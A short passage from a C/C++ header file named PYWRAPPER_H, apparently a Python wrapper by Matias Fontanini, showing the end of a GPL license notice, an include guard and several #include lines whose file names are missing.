11 | * You should have received a copy of the GNU General Public License
12 | * along with this program; if not, write to the Free Software
13 | * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
14 | * MA 02110-1301, USA.
15 | *
16 | * Author:
17 | * Matias Fontanini
18 | *
19 | */
20 |
21 | #ifndef PYWRAPPER_H
22 | #define PYWRAPPER_H
23 |
24 | #include
25 | #include
26 | #include
27 | #include
28 | #include